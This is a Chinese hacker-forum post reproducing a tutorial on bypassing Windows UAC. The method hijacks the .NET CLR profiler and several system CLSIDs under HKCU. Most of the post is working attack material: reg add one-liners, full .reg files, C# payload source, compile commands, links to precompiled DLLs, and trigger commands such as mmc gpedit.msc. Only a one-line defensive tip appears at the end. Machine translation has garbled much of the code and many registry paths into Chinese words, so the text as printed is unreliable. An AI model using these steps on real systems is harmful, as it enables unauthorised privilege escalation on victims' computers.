跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

使用清除(clear的缩写)绕过UAC


剑道尘心

推荐的帖子

0x00 前言

在之前的文章《Use CLR to maintain persistence》 介绍了通过清除(清除的缩写)劫持。网程序的后门,特点是无需管理员权限,并能够劫持所有。网程序。那么,如果劫持了高权限的。网程序,就能够绕过UAC,比如gpedit.msc

最近我在clem@clavoillotte的博客上也看到了相同的利用思路,并且,他的博客里有更多值得学习的地方。于是,我对他博客介绍的内容进行了整理,结合自己的经验,适当作补充,分享给大家。

clem@clavoillotte的博客地址:

https://offsec.provadys.com/UAC-bypass-dotnet.html

0x01 简介

本文将要介绍以下内容:

使用清除(清除的缩写)绕过UAC的方法

劫持系统CLSID绕过UAC的方法

0x02 使用CLR绕过UAC

我在《Use CLR to maintain persistence》 一文中使用了wmic修改环境变量,代码如下:

wmic环境创建名称='COR_ENABLE_PROFILING ',用户名='%username% ',变量值='1 '

wmic环境创建名称='COR_PROFILER ',用户名='%username% ',变量值=' { 111111111-1111-1111-1111-1111111111 } '

在《Use Logon Scripts to maintain persistence》 补充了使用powershell修改环境变量的方法,代码如下:

新项目属性“HKCU:\环境" COR _ ENABLE _ PROFILING-value " 1 "-属性类型字符串| Out-Null

新项目属性“HKCU:\环境" COR _ PROFILER-value " { 11111111111-1111-1111-1111-1111111 } "-属性类型string | Out-Null

clem@clavoillotte的方法是直接通过注册添加,代码如下:

注册添加“HKCU”软件\类\ CLSID \ { FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFF } \ in proc server 32 '/ve/t REG _ EXPAND _ SZ/d ' C:\ Temp \ test。dll '/f

注册添加“HKCU”环境/v ' COR _ PROFILER '/t REG _ SZ/d ' { FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFF } '/f

clem@clavoillotte的概念验证:

注册添加“HKCU”软件\类\ CLSID \ { FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFF } \ in proc server 32 '/ve/t REG _ EXPAND _ SZ/d ' C:\ Temp \ test。dll '/f

注册添加“HKCU”环境/v ' COR _ PROFILER '/t REG _ SZ/d ' { FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFF } '/f

注册添加“HKCU”环境/v ' COR _ ENABLE _ PROFILING '/t REG _ SZ/d ' 1 '/f

注册添加“HKCU”环境/v ' COR _ PROFILER _ PATH '/t REG _ SZ/d ' C:\ Temp \ test。dll '/f

mmc gpedit.msc

个人认为不需要指定环境变量COR_PROFILER_PATH,经过精简后的无线一键通如下:

注册添加“HKCU”软件\类\ CLSID \ { FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFF } \ in proc server 32 '/ve/t REG _ EXPAND _ SZ/d ' C:\ test \ calc。dll '/f

注册添加“HKCU”环境/v ' COR _ PROFILER '/t REG _ SZ/d ' { FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFF } '/f

注册添加“HKCU”环境/v ' COR _ ENABLE _ PROFILING '/t REG _ SZ/d ' 1 '/f

mmc gpedit.msc

测试动态链接库依旧是通过c编写的动态链接库标准模板,下载地址:

https://生的。githubusercontent。com/3g学生/测试/硕士/计算。动态链接库

会正常启动gpedit.msc,同时弹出计算器,权限为高的

如下图

3-1.png

如果想只启动计算器,不执行gpedit.msc,在启动代码WinExec('calc.exe ',SW _ show normal);后添加退出进程(0);就好

编译好的动态链接库已上传,下载地址如下:

https://生的。githubusercontent。com/3g学生/测试/硕士/计算出口。动态链接库

测试如下图

3-2.png

计算器权限为高,成功绕过UAC

0x03 劫持系统CLSID绕过UAC的方法

clem@clavoillotte在博客中分享了如何劫持系统CLSID实现UAC绕过,所以接下来对其逐个测试,并标记需要注意的地方

1、{B29D466A-857D-35BA-8712-A758861BFEA1}

注册表文件如下:

Windows操作系统注册表编辑器5.00版

[HKEY当前_用户\软件\类\ CLSID \ { b29d 466 a-857d-35BA-8712-a 758861 bfea 1 }]

@='微软集团政策。admtmpleditor。gpmadmtmpleditormanager '

[HKEY当前_用户\软件\类\ CLSID \ { b29d 466 a-857d-35BA-8712-a 758861 bfea 1 } \实现的类别]

[HKEY当前_用户\软件\类\ CLSID \ { b29d 466 a-857d-35BA-8712-a 758861 bfea 1 } \实现的类别\ { 62 c8 Fe 65-4 ebb-45e 7-B440-6 e 39 B2 cdbf 29 }]

[HKEY当前_用户\软件\类\ CLSID \ { b29d 466 a-857d-35BA-8712-a 758861 bfea 1 } \ in proc server 32]

@=' C:\ \ Windows \ \ System32 \ \ mscoree。' dll '

程序集"="测试点网,版本=0.0.0.0,区域性=中性

class"="测试点网.一类'

RuntimeVersion'='v4.0.30319 '

ThreadingModel'='Both '

code base "=" file://C://Temp//test _ managed。动态链接库

[HKEY当前_用户\软件\类\ CLSID \ { b29d 466 a-857d-35BA-8712-a 758861 bfea 1 } \在proc server 32 \ 10中。0 .0 .0]

程序集"="测试点网,版本=0.0.0.0,区域性=中性

class"="测试点网.一类'

RuntimeVersion'='v4.0.30319 '

code base "=" file://C://Temp//test _ managed。动态链接库

[HKEY当前_用户\软件\类\ CLSID \ { b29d 466 a-857d-35BA-8712-a 758861 bfea 1 } \ ProgId]

@='微软集团政策。admtmpleditor。gpmadmtmpleditormanager '

注:

注册表项中的@='微软集团政策。admtmpleditor。gpmadmtmpleditormanager '表明,执行gpedit.msc时会调用该CLSID

生成测试_托管。动态链接库的c#代码如下:

使用系统;

使用系统。诊断;

命名空间TestDotNet

{

公共类1级

{

静态类别1()

{

过程开始(' calc。exe’);

环境。退出(0);

}

}

}

保存为TestDotNet.cs,编译成动态链接库

使用csc.exe编译生成动态链接库:

C:\Windows\Microsoft .NET \ Framework \ v 4。0 .30319 \ CSC。exe/t:库TestDotNet.cs

注:

使用. Net 4.0目录下的csc.exe

将生成的TestDotNet.dll重命名为测试_托管。dll,成功绕过UAC,测试如下图

4-4.png

补充关于c#编译文件的一个技巧:

使用可视化工作室编译c#程序,如果项目名称同程序集名称(即命名空间名称空间)不对应(结合本文,代码中程序集名称为TestDotNet,而新建的项目名却是类别1),需要重新指定程序集名称,如下图

4-2.png

同样,使用csc.exe编译生成文件也存在这个问题

例如将源代码保存为空调,那么在输出的时候必须加/out参数指定输出文件为TestDotNet.dll,这样程序集名称也默认为TestDotNet(同源代码对应),具体参数如下:

C:\Windows\Microsoft .NET \ Framework \ v 4。0 .30319 \ CSC。exe/t:library/out:testdotnet。动态链接库

否则,dll虽然能够被加载,但无法执行,如下图

4-3.png

2、{D5AB5662-131D-453D-88C8-9BBA87502ADE}

注册表文件如下:

Windows操作系统注册表编辑器5.00版

[HKEY当前_用户\软件\类\ CLSID \ { d5ab 5662-131d-453d-88 c8-9 BBA 87502 ade }]

@='微软。'管理控制台。高级。'框架纳品工厂'

[HKEY当前_用户\软件\类\ CLSID \ { d5ab 5662-131d-453d-88 c8-9 BBA 87502 ade } \实现的类别]

[HKEY当前_用户\软件\类\ CLSID \ { d5ab 5662-131d-453d-88 c8-9 BBA 87502 ade } \实现的类别\ { 62 c8 Fe 65-4 ebb-45e 7-B440-6 e 39 B2 cdbf 29 }]

[HKEY当前_用户\软件\类\ CLSID \ { d5ab 5662-131d-453d-88 c8-9 BBA 87502 ade } \在proc server 32中]

@=' C:\ \ Windows \ \ System32 \ \ mscoree。' dll '

程序集"="测试点网,版本=0.0.0.0,区域性=中性

class"="测试点网.一类'

RuntimeVersion'='v2.0.50727 '

ThreadingModel'='Both '

code base "=" file://C://Temp//test _ managed。动态链接库

[HKEY当前_用户\软件\类\ proc server 32中的CLSID \ { d5ab 5662-131d-453d-88 c8-9 BBA 87502 ade } \ 3。0 .0 .0]

程序集"="测试点网,版本=0.0.0.0,区域性=中性

class"="测试点网.一类'

RuntimeVersion'='v2.0.50727 '

code base "=" file://C://Temp//test _ managed。动态链接库

注:

注册表项中的@='微软管理控制台。高级。'框架工厂',以下命令执行时会调用该CLSID:

compmgmt.msc

eventvwr.msc

secpol.msc

taskschd.msc

使用csc.exe编译动态链接库:

C:\Windows\Microsoft .NET \ Framework \ v 2。0 .50727 \ CSC。exe/t:库TestDotNet.cs

注:

动态链接库要使用. net 2.0编译

3、{0A29FF9E-7F9C-4437-8B11-F424491E3931}

注册表文件如下:

Windows操作系统注册表编辑器5.00版

[HKEY当前用户\软件\类\ CLSID \ { 0 a 29 ff 9 e-7F9C-4437-8b 11-f 424491 e 3931 }]

@=' NDP塞班德'

[HKEY当前用户\软件\类\ CLSID \ { 0 a 29 ff 9 e-7F9C-4437-8b 11-f 424491 e 3931 } \ in proc server 32]

@=' C:\ \ Windows \ \ System32 \ \ mscoree。' dll '

ThreadingModel'='Both '

[HKEY当前用户\软件\类\ CLSID \ { 0 a 29 ff 9 e-7F9C-4437-8b 11-f 424491 e 3931 } \在proc server 32 \ 4中。0 .30319]

@='4.0.30319'

ImplementedInThisVersion"="

[HKEY当前用户\软件\类\ CLSID \ { 0 a 29 ff 9 e-7F9C-4437-8b 11-f 424491 e 3931 } \ ProgID]

@='CorSymBinder_SxS '

[HKEY当前_用户\软件\类\ CLSID \ { 0 a 29 ff 9 e-7F9C-4437-8b 11-f 424491 e 3931 } \服务器]

@=' C:\ \ Temp \ \ test _ unmanaged。' dll '

测试系统为Win7和Win10,未成功,所以我对该脚本作了修改,修改后的文件如下:

Windows操作系统注册表编辑器5.00版

[HKEY当前用户\软件\类\ CLSID \ { 0 a 29 ff 9 e-7F9C-4437-8b 11-f 424491 e 3931 }]

@=' NDP塞班德'

[HKEY当前用户\软件\类\ CLSID \ { 0 a 29 ff 9 e-7F9C-4437-8b 11-f 424491 e 3931 } \ in proc server 32]

@=' C:\ \ Temp \ \ test _ unmanaged。' dll '

ThreadingModel'='Both '

此处的测试_非托管。动态链接库同一和2的不同,这里需要一个标准dll,实现动态链接库劫持,dll下载地址;

https://生的。githubusercontent。com/3g学生/测试/硕士/计算出口。动态链接库

执行以下代码均能触发动态链接库劫持,实现UAC绕过:

c:\ Windows \ System32 \ eventvwr。可执行程序的扩展名

或者

c:\ Windows \ System32 \ MMC。exe compmgmt。人力服务委员会

注:

该利用方法b33f@FuzzySecurity在DefCon25也介绍过,详情可见如下链接:

https://生的。githubusercontent。com/fuzzy security/defcon 25/master/la b-write up。文本文件(textfile)

4、{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

注册表文件如下:

Windows操作系统注册表编辑器5.00版

[HKEY当前_用户\软件\类\ CLSID \ { cb2f 6723-AB3A-11 D2-9c 40-00 c 04 fa 30 a3e }]

@='微软公共语言运行时元数据'

[HKEY当前_用户\软件\类\ CLSID \ { cb2f 6723-AB3A-11 D2-9c 40-00 c 04 fa 30 a3e } \在proc server 32中]

@=' C:\ \ Windows \ \ System32 \ \ mscoree。' dll '

ThreadingModel'='Both '

[HKEY当前_用户\软件\类\ CLSID \ { cb2f 6723-AB3A-11 D2-9c 40-00 c 04 fa 30 a3e } \在proc server 32 \ 4中。0 .30319]

@='4.0.30319'

ImplementedInThisVersion"="

[HKEY当前_用户\软件\类\ CLSID \ { cb2f 6723-AB3A-11 D2-9c 40-00 c 04 fa 30 a3e } \ ProgID]

@='CLRMetaData .'' CorRuntimeHost.2 '

[HKEY当前_用户\软件\类\ CLSID \ { cb2f 6723-AB3A-11 D2-9c 40-00 c 04 fa 30 a3e } \服务器]

@='.\\.\\.\\.\\Temp\\test_unmanaged.dll

此处的测试_非托管。动态链接库同一和2的不同,这里需要一个标准dll,实现动态链接库劫持,dll下载地址;

https://生的。githubusercontent。com/3g学生/测试/硕士/计算出口。动态链接库

执行secpol.msc触发动态链接库劫持,测试如下图

5-2.png

0x04 补充

使用Procmon记录gpedit.msc的启动过程,寻找可被利用的系统CLSID,寻找特征如下:

打开注册表键值HKCU:\ Software \ Classes \ CLSID \ { * * * * } \ in proc server 32,返回找不到名称

打开注册表键值HKCR:\ CLSID \ { * * * * } \ in proc server 32,返回成功成就

如下图,标记的几个CLSID符合要求

4-1.png

在测试系统Win7 x86下共找到如下符合要求的CLSID:

D1-a7d 3-0000 f 87571 e 3

{ b 708457 e-DB61-4c 55-A92F-0 D4 b5 e9 b 1224 }

{ 871 c 5380-42a 0-1069-A2EA-08002 b 30309d }

{ d 02 B1 f 72-3407-48ae-BA88-e 8213 c 6761 f1 }

{ b29d 466 a-857d-35BA-8712-a 758861 bfea 1 }

{ d 02 B1 f 73-3407-48AE-BA88-e 8213 c 6761 f1 }

{ b 0395 da 5-6a 15-4e 44-9 f36-9 a9 DC 7a 2 f 341 }

{ ade 6444 b-C91F-4e 37-92 a4-5bb 430 a 33340 }

0x05 防御

监控注册表HKEY _当前_用户\软件\类\CLSID\下键值的创建和修改

0x06 小结

微软不把UAC绕过作为漏洞,站在他们的角度可以理解。但在渗透测试中,常常会碰到需要绕过UAC的情况,某些UAC绕过方法往往还能作更多利用。站在防御的角度,提醒防御方对UAC绕过方法保持关注。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...